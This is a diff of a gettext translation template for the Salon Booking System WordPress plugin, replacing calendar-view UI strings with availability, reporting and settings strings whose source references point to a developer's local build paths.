..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:139\n+msgid \"Availability\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:233\n-msgid \"\u003Cstrong>We have a special discount for you, don't miss it.\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9\n+msgid \"Availability mode\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:235, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:235, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:235\n-msgid \"Time to growth\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:119\n+msgid \"Availability Settings\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:446, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:446, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:446, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:446, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:446, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:446\n-msgid \"We are loading your appointments calendar..\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:46\n+msgid \"Availability: \"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:466, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:466, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:466\n-msgid \"Why don't you use our brand-new Web App?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:410\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:410\n+msgid \"Available as add-on\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:469, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:469, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:469\n-msgid \"Open the Web App\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:174\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:174\n+msgid \"Available booking time range: from\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:475, views\u002Fadmin\u002Freports-dashboard.php:44, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:488, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:475, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:475, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:488, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:475, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:475, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:475, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:488, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:475, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:488, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:488\n-msgid \"Today\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:25\n+msgid \"Available days\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:478, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:478, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:478\n-msgid \"Previous\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:26\n+msgid \"Available days checked and green.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:481, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:481, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:481, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:481, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:481, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:481\n-msgid \"Next\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:9\n+msgid \"AVAILABLE DISCOUNTS\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:488, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:488, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:488, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:488, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:488, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:488\n-msgid \"Day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:203\n+msgid \"available left\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:491, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:491, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:491, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:491, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:491, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:491\n-msgid \"Week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:21\n+msgid \"available on PRO edition\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:494, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:494, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:494\n-msgid \"Month\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:410\n+msgid \"Available Rollback Versions:\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:497, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:497, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:497\n-msgid \"Year\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:128\n+msgid \"Avg. Booking Value\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:507\n-msgid \"Are you happy with us?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:454\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:454\n+msgid \"Avg. Customer Lifetime Value\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:507\n-msgid \"Share your love for \u003Cstrong>Salon Booking System\u003C\u002Fstrong> leaving a positive review.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:262\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:262\n+msgid \"Avg. Daily Bookings\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:508, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:508, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:508, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:508, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:508, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:508\n-msgid \"Let's grow our community.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:396\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:396\n+msgid \"Avg. Price\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:510, views\u002Fmail\u002F_feedback_content.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:510, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_feedback_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:510, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_feedback_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_feedback_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_feedback_content.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_feedback_content.php:56\n-msgid \"Submit a review\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:467\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:467\n+msgid \"Avg. Visit Frequency\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:522, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:522, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:522\n-msgid \"Free locked slots\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:307\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:307\n+msgid \"\"\n+\"Avoid spam asking your users to verify their identity with an SMS \"\n+\"verification code during the first registration.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:555, views\u002Fadmin\u002Fcalendar.php:572, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:555, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:572, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:555, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:572, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:555, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:572, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:555, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:572, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:555, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:572\n-msgid \"Start typing customer name or booking ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_unavailable.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:195\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:230\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 